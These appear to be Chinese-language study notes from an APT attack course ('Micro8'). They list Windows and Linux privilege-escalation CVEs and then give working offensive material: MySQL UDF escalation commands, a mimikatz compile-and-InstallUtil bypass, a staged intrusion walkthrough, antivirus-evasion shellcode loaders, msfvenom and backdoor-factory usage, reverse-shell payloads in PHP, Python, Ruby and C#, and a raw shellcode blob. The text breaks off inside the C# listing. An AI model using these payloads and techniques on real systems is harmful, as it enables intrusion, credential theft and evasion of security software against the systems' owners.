专注 APT 攻击与防御 - Micro8 读书笔记

一、基础知识

1. Window提权 快速查找EXP

微软官方安全公告：https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017

参考链接：https://github.com/SecWiki/windows-kernel-exploits

常见提权漏洞及补丁编号如下：

```
MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows
7/8)
CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows
10/8.1/7/2016/2010/2008）
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows
10/8.1/7/2016/2010/2008)
MS17-010 [KB4013389] [Windows Kernel Mode Drivers](windows 7/2008/2003/XP)
MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1)
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012)
MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
MS15-097 [KB3089656] [remote code execution] (win8.1/2012)
MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)
MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012)
MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)
MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)
MS14-070 [KB2989935] [Kernel Driver] (2003)
MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)
MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)
MS14-002 [KB2914368] [NDProxy] (2003/XP)
MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)
MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)
MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)
MS11-080 [KB2592799] [AFD.sys] (2003/XP)
MS11-062 [KB2566454] [NDISTAPI] (2003/XP)
MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)
MS10-092 [KB2305420] [Task Scheduler] (2008/7)
MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)
```

```
MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008
Gold & SP2 & R2/Win7)
MS10-015 [KB977165] [KiTrapOD] (2003/2008/7/XP)
MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows 7/2008R2)
MS09-050 [KB975517][Remote Code Execution] (2008/Vista)
MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0)
MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068 [KB957097] [Remote Code Execution] (2000/XP)
MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server
2003/Vista/Server 2008)
MS08-066 [] [] (Windows 2000/XP/Server 2003)
MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)
MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
```

2. Linux提权 依赖EXP篇

参考链接：https://github.com/SecWiki/linux-kernel-exploits

常见提权漏洞编号如下：

```
CVE-2017-1000367 [Sudo] (Sudo 1.8.6p7 - 1.8.20)
CVE-2017-1000112 [a memory corruption due to UFO to non-UFO path switch]
CVE-2017-7494 [Samba Remote execution] (Samba 3.5.0-4.6.4/4.5.10/4.4.14)
CVE-2017-7308 [a signedness issue in AF_PACKET sockets] (Linux kernel through
4.10.6)
CVE-2017-6074 [a double-free in DCCP protocol] (Linux kernel through 4.9.11)
CVE-2017-5123 ['waitid()'] (Kernel 4.14.0-rc4+)
CVE-2016-9793 [a signedness issue with SO_SNDBUFFORCE and SO_RCVBUFFORCE socket
options] (Linux kernel before 4.8.14)
CVE-2016-5195 [Dirty cow] (Linux kernel>2.6.22 (released in 2007)
CVE-2016-2384 [a double-free in USB MIDI driver] (Linux kernel before 4.5)
CVE-2016-0728 [pp_key] (3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7,
3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13,3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0,
3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6,3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0,
3.13.1)
CVE-2015-7547 [glibc getaddrinfo] (before Glibc 2.9)
CVE-2015-1328 [overlayfs] (3.13, 3.16.0, 3.19.0)
CVE-2014-5284 [OSSEC] (2.8)
CVE-2014-4699 [ptrace] (before 3.15.4)
CVE-2014-4014 [Local Privilege Escalation] (before 3.14.8)
CVE-2014-3153 [futex] (3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5
,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32
,2.6.9 ,2.6.8,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1)
CVE-2014-0196 [rawmodePTY] (2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36,
2.6.37, 2.6.38, 2.6.39, 3.14, 3.15)
CVE-2014-0038 [timeoutpwn] (3.4, 3.5, 3.6, 3.7, 3.8, 3.8.9, 3.9, 3.10, 3.11,
3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0,
3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)
CVE-2013-2094 [perf_swevent] (3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6,
3.1.0, 3.2, 3.3, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4,3.4.5, 3.4.6, 3.4.8, 3.4.9,
3.5, 3.6, 3.7, 3.8.0, 3.8.1, 3.8.2, 3.8.3,3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8,
3.8.9)
CVE-2013-1858 [clown-newuser] (3.3-3.8)
CVE-2013-1763 [__sock_diag_rcv_msg] (before 3.8.3)
```

```
CVE-2013-0268 [msr] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24,
2.6.25, 2.6.26,2.6.27, 2.6.27, 2.6.28,2.6.29, 2.6.30, 2.6.31, 2.6.32,
2.6.33,2.6.34, 2.6.35, 2.6.36, 2.6.37,2.6.38, 2.6.39, 3.0.0,3.0.1, 3.0.2, 3.0.3,
3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.5, 3.6, 3.7.0, 3.7.6)
CVE-2012-3524 [libdbus] (libdbus 1.5.x and earlier)
CVE-2012-0056 [memodipper] (2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5,
3.0.6, 3.1.0)
CVE-2010-4347 [american-sign-language] ( 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4,
2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9,2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14,
2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21,2.6.22, 2.6.23, 2.6.24,
2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.62.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34,
2.6.35, 2.6.36)
CVE-2010-4258 [full-nelson] (2.6.31, 2.6.32, 2.6.35, 2.6.37)
CVE-2010-4073 [half_nelson] (2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6,
2.6.7, 2.6.8, 2.6.9,2.6.10, 2.6.11, 2.6.12,2.6.13, 2.6.14, 2.6.15, 2.6.16,
2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21,2.6.22, 2.6.23, 2.6.24,2.6.25, 2.6.26,
2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.62.6.32, 2.6.33,2.6.34, 2.6.35, 2.6.36)
CVE-2010-3904 [rds] (2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
CVE-2010-3437 [pktcdvd] (2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7,
2.6.8, 2.6.9,2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17,
2.6.18, 2.6.19, 2.6.20, 2.6.21,2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27,
2.6.28, 2.6.29, 2.6.30, 2.62.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
CVE-2010-3301 [ptrace_kmod2] (2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31,
2.6.32, 2.6.33, 2.6.34)
CVE-2010-3081 [video4linux] (2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6,
2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12,2.6.13, 2.6.14, 2.6.15, 2.6.16,
2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26,
2.6.27, 2.6.28, 2.6.29, 2.62.6.31, 2.6.32, 2.6.33)
CVE-2010-2959 [can_bcm] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24,
2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34,
2.6.35, 2.6.36)
CVE-2010-1146 [reiserfs] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23,
2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33,
2.6.34)
CVE-2010-0415 [do_pages_move] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23,
2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31)
CVE-2009-3547 [pipe.c_32bit] (2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10,
2.4.11, 2.4.12, 2.4.13,2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20,
2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25,2.4.26, 2.4.27, 2.4.28,2.4.29, 2.4.30,
2.4.31, 2.4.32, 2.4.33, 2.42.4.35, 2.4.36, 2.4.37,2.6.15, 2.6.16, 2.6.17,2.6.18,
2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26,2.6.27, 2.6.28,
2.6.29,2.6.30, 2.6.31)
CVE-2009-2698 [udp_sendmsg_32bit] (2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6,
2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16,
2.6.17, 2.6.18, 2.6.19)
CVE-2009-2692 [sock_sendpage] (2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10,
2.4.11, 2.4.12, 2.4.13,2.4.14, 2.4.15, 2.4.16,2.4.17, 2.4.18, 2.4.19, 2.4.20,
2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28,2.4.29, 2.4.30,
2.4.31, 2.4.32, 2.4.33, 2.42.4.35, 2.4.36, 2.4.37,2.6.0, 2.6.1, 2.6.2, 2.6.3,
2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12,2.6.13, 2.6.14,
2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24,
2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30)
```

```
CVE-2009-2692 [sock_sendpage2] (2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9,
2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19,
2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25,2.4.26, 2.4.27, 2.4.28,2.4.29,
2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.42.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1,
2.6.2,2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12,
2.6.13, 2.6.14, 2.6.15,2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22,
2.6.23, 2.6.24,2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30)
CVE-2009-1337 [exit_notify] (2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29)
CVE-2009-1185 [udev] (2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29)
CVE-2008-4210 [ftrex] (2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17,
2.6.18, 2.6.19,2.6.20, 2.6.21, 2.6.22)
CVE-2008-0600 [vmsplice2] (2.6.23, 2.6.24)
CVE-2008-0600 [vmsplice1] (2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22,
2.6.23, 2.6.24, 2.6.24.1)
CVE-2006-3626 [h00lyshit] (2.6.8, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14,
2.6.15, 2.6.16)
CVE-2006-2451 [raptor_prctl] (2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17)
CVE-2005-0736 [krad3] (2.6.5, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11)
CVE-2005-1263 [binfmt_elf.c] (Linux kernel 2.x.x to 2.2.27-rc2, 2.4.x to 2.4.31-
pre1, and 2.6.x to 2.6.12-rc4)
CVE-2004-1235 [elflbl] (2.4.29)
CVE-N/A [caps_to_root] (2.6.34, 2.6.35, 2.6.36)
CVE-2004-0077 [mremap_pte] (2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27
```

6. 反攻的一次溯源 — 项目实战3

一韩国server 2003服务器，3389存在shift后门，且有一个`DHCP`查看应用，存在`loadfile`漏洞（这里我推测就是WEB应用存在SQL注入，可以读取本地文件）。HEX编码读取`shift`后门，本地再`unhex`解码回来。然后反编译该后门，获取密码。

7. SqlServer 常用操作远程桌面语句

- 是否开启远程桌面
  - `EXEC master..xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections'`
  - 1：表示关闭
  - 0：表示开启
- 读取远程桌面端口
  - `EXEC master..xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp', 'PortNumber'`
- 开启远程桌面
  - `EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer','fDenyTSConnections','REG_DWORD',0;`
- 关闭远程桌面
  - `EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer','fDenyTSConnections','REG_DWORD',1;`

二、实战

8. 模拟诉求任务攻击

第一个shell为目标主站shell，为08 R2。提权后，改为信息收集

- 进程收集
- 账户搜集
- 重要路径搜集
- 数据库密码搜集
- 杀毒软件搜集
- 管理员习惯搜集

通过信息收集，获得`Server 2003`机器权限，为一台开发机。目标仅支持`asp`，但是服务器中安装有`mysql`，`php`等。并且无`asp to mysql Device Drive IIS`配置中也并不支持`php`。继续信息收集

`type C:\MySQL\MySQL Server 5.0\data\mysql\user.MYD`，获得`Mysql`数据库的`ROOT`哈希，在非交互式`shell`下加上`-e`参数执行SQL语句，使用`UDF`提权

```
mysql -uroot -pxxxxxxxx mysql -e "create table a (cmd LONGBLOB);"
mysql -uroot -pxxxxxxxx mysql -e "insert into a (cmd) values
hex(load_file('C:\\xxxx\\xxxx.dll')));"
mysql -uroot -pxxxxxxxx mysql -e "SELECT unhex(cmd) FROM a INTO DUMPFILE
'c:\\windows\\system32\\xxxx.dll';"
mysql -uroot -pxxxxxxxx mysql -e "CREATE FUNCTION shell RETURNS STRING SONAME
'udf.dll'"
mysql -uroot -pxxxxxxxx mysql -e "select
shell('cmd','C:\\xxxx\\xxx\\xxxxx.exe');"
```

16. 红蓝对抗渗透测试1

- BloodHound

> BloodHound是2016年出现大家的视线中，它是一个分析和解读AD中权限关系的一个工具。对于攻击
>
> 者来说，能快速的获取到域中的线索以便进行下一步攻击，而对于防御者来说，可以更快速的得知攻击
>
> 者可能采取的攻击途径以及域中的可突破的途径。

项目地址：https://github.com/BloodHoundAD/BloodHound

- popy

> Pupy是一个开源，跨平台（Windows，Linux，OSX，Android），多功能RAT（远程管理工具）和主
>
> 要用python编写的后期开发工具。它具有全内存读取操作，进程注入等。Pupy可以使用各种传输进行
>
> 通信，迁移到进程（注入），从内存加载远程Python代码

项目地址：https://github.com/n1nj4sec/pupy

- GreatSCT

> GreatSCT 是以 metasploit payload 为核心，白名单辅助 payload 执行框架

项目地址：https://github.com/GreatSCT/GreatSCT

51. 项目回忆：体系的本质是知识点串联

目标机器有360全家桶

- 免杀

使用shellcode_launcher对shellcode分离免杀

- 提权

在目标机上找到mysql数据库文件,下载`users.MYI`、`users.MYD`、`users.frm`，本地安装`mysql`加载文件，获取目标数据库的帐号密码

使用非交互模式，使用udf提权

```
mysql -uroot -pxxxxxxxx mysql -e "create table mysql.a (cmd LONGBLOB);"
mysql -uroot -pxxxxxxxx mysql -e "insert into mysql.a (cmd) values
hex(load_file('C:\\xxxx\\xxxx.dll')));"
mysql -uroot -pxxxxxxxx mysql -e "SELECT unhex(cmd) FROM mysql.a INTO DUMPFILE
'c:\\windows\\system32\\xxxx.dll';"
mysql -uroot -pxxxxxxxx mysql -e "CREATE FUNCTION shell RETURNS STRING SONAME
'udf.dll'"
mysql -uroot -pxxxxxxxx mysql -e "select shell('cmd','whoami');"
```

- 登录服务器

激活guest帐号，并提升到administrator组

- 抓取明文密码

先在powershell中执行下面命令，生成Key.snk

```
$key =
'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKV
LJdHphY5ppg5clHIGaL7nZbp6qukLHOlLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JI
jeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8M
TgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE7
9zwnpVP1+BNOPK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGNO/+Hitolufo7Ucjh+WvZAU
//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpB
Eq3m15/4zzg343V9NBwt1+qZU+TSVPUOwRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8z
bIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4z
HcgJx6FpVK7qeEuvyVOOGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZOjLM5aZQ6ypwmFZaNmtL6KDzK
v8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='

$Content = [System.Convert]::FromBase64String($key)

Set-Content key.snk -Value $Content -Encoding Byte
```

CSC编译

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
/r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library
/keyfile:key.snk /unsafe /out:test.exe mimikatz.cs
```

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=
/logToConsole=false /U test.exe
```

- 横向渗透

搜集目标机的mssql，mysql，rdp 密码，搜 集所在内网的拓扑，来辅助本次的横向扩展

69. 渗透，持续渗透，后渗透的本质

- 模拟攻击流程

```
攻击机通过SQL注入，上传webshell 拿到主机A1权限
主机A1通过weblogic反序列化漏洞拿到主机A2权限
主机A2通过信息收集，获得主机B权限
主机B通过MS14-068漏洞获取域控主机C权限
```

- 过程
  - 扫描主机A1对攻击机开放端口：80,22
  - 扫描主机A1-Web目录结构
  - 主机A1-Web搜索处存在sql注入
  - 登录后台得到shell
  - msfvenom生成tcp payload 以php一句话执行
  - 配置msf，获得meterpreter shell权限
  - A1对内信息搜集发现A2，并且针对A1，没有可用提权漏洞（Web非root权限），放弃提权
  - 以A1作为跳板添加虚拟路由，并且开始做针对A2的对内信息搜集
    - 扫描开放端口
  - 以A1跳板发现A2部署weblogic，并且存在漏洞。转发目标机7001至本地，利用漏洞
    - portfwd add -r 192.168.1.160 -p 7001 -l 7001
  - msfvenom生成payload 并尝试使用weblogic漏洞上传payload
  - 执行payload,meterpreter获取session，添加路由
  - 发现A2全补丁，放弃提权，（weblogic为user权限）对内信息刺探A2，得到 weblogic相关配置文件，解密后，得到密码
  - 尝试做二级跳板，以weblogic相关配置，尝试对B（域内成员）的渗透（SMB）
  - 获取B权限（system），尝试对内B的本身信息搜集，发现域账号（普通成员）user1
  - 尝试三级跳板，尝试获取sid，以及域控对内相关IP，尝试越权，获取域控权限
  - 利用user1生成票据并注入内存

92.： 实战中的Payload应用

绕过360套装

- 配置payload

```
ruby ./Micropoor_rev.rb 8080
```

- 上传Micropoor_shellcode_x64.exe

```

```

- 配置msf

```
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
exploit
```

- 靶机执行

```
Micropoor_shellcode_x64.exe 8080 192.168.1.4
```

94. 基于实战中的small payload

- payload生成

```
 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 -b
'\x00' -f exe > First.exe
```

- 第一次优化
  - payload

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 -b
'\x00' -f c
```

  - 建立Micropoor_small_payload工程

```
设置平台工具集： Visual Studio 2017 -Windows XP(v141_xp)
运行库： 多线程（/MT）
优化： 使大小最小化（/O1）
预编译头：不使用预编译头
生成调试信息：否
自定义入口点：execMicropoor_shellcode
```

  - 源码如下

```

# include <windows.h>
int main(void)
{
char *shellcode = (char *)"Micropoor_shellcode";
DWORD Micropoor_shellcode;
BOOL ret = VirtualProtect(shellcode, strlen(shellcode),
PAGE_EXECUTE_READWRITE, &Micropoor_shellcode);
if (!ret) {
return EXIT_FAILURE;
}
((void(*)(void))shellcode)();
return EXIT_SUCCESS;
}
```

- 第二次优化
  - 载入PEID
  - 合并**data to text**，**rdata to text** 在次生成
- 第三次优化

- 在00000E60起含有大部分000h，充填掉00，在次生成payload

三、 工具讲解

9. 工具介绍 the-backdoor-factory

项目地址：https://github.com/secretsquirrel/the-backdoor-factory

原理介绍

> 可执行二进制文件中有大量的 00，这些 00 是不包含数据的，将这些数据替换成 payload，并且在
>
> 程序执行的时候，jmp 到代码段，来触发 payload

`the-backdoor-factory`使用

- 检测是否支持后门植入
  - ./backdoor.py -f ~/demo/guobang.exe -s
- 测试裂缝空间`size150`
  - ./backdoor.py -f ~/demo/guobang.exe -c -l 150
- 查看可用`Payload`
  - ./backdoor.py -f ~/demo/guobang.exe -s show
- 插入`Payload`并生成文件
  - ./backdoor.py -f ~/demo/guobang.exe -H 192.168.1.111 -P 8080 -s iat_reverse_tcp_stager_threaded

配置MSF:

- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set lhost 192.168.1.111
- set lport 8080
- exploit -j

运行新生成的后门时，即会反弹`meterpreter shell`

10. msfvenom常用生成payload命令

便捷Payload生成工具:https://github.com/Screetsec/TheFatRat

14. 基于第十课补充 Payload 1

- PHP

```
<?php $sock=fsockopen("xx.xx.xx.xx",xx);exec("/bin/sh -i <&3 >&3 2>&3");?>
```

- python

```
import socket,struct,time

for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('x.x.x.x',xx))
        break
    except:
        time.sleep(5) l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s})
```

- C

```
//删除特征
msfvenom -p windows/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=88 -f c | tr -d
'"' | tr -d '\n'
```

```
from ctypes import *
reverse_shell =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x5
2\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0
d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd
1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xa
c\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x5
8\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x2
4\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x3
2\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x0
0\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x08\x08\x08\x08\x68\x0
2\x00\x00\x58\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd
5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x7
5\xec\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8
3\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x5
3\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x0
0\x7d\x22\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x6
8\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff\xff\x01\xc3\x29\xc
6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
micropoorshell = create_string_buffer(reverse_shell, len(reverse_shell))
shellcode = cast(micropoorshell, CFUNCTYPE(c_void_p))
shellcode()
```

- Ruby- Payload

```
require 'socket';
c=TCPSocket.new("xx.xx.xx.xx", x);$stdin.reopen(c);$stdout.reopen(c);
$stderr.reopen(c);$stdin (IO.popen(l,"rb"){|fd| fd.each_line {|o|
c.puts(o.strip) }}) rescue nil }
```

```
require 'socket';
f=TCPSocket.open("xx.xx.xx.xx",xx).to_i;exec sprintf("/bin/sh -i <&%d >&%d
2>&%d",f,f,f)
```

```
require 'socket';
c=TCPSocket.new("xx.xx.xx.xx","xx");while(cmd=c.gets);IO.popen(cmd,"r")
{|io|c.print io.read}end
```

15. 基于第十课补充payload2

- C#

```
using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
namespace RkfCHtll {
    class LiNGeDokqnEH {
        static byte[] idCWVw(string VVUUJUQytjlL, int eMcukOUqFuHbUv) {
            IPEndPoint nlttgWAMdEQgAo = new
IPEndPoint(IPAddress.Parse(VVUUJUQytjlL), eMcukOUqFuHbUv);
                Socket fzTiwdk = new Socket(AddressFamily.InterNetwork,
SocketType.Stream, ProtocolType.Tcp);
                try {
                fzTiwdk.Connect(nlttgWAMdEQgAo);
            }
            catch { return null;
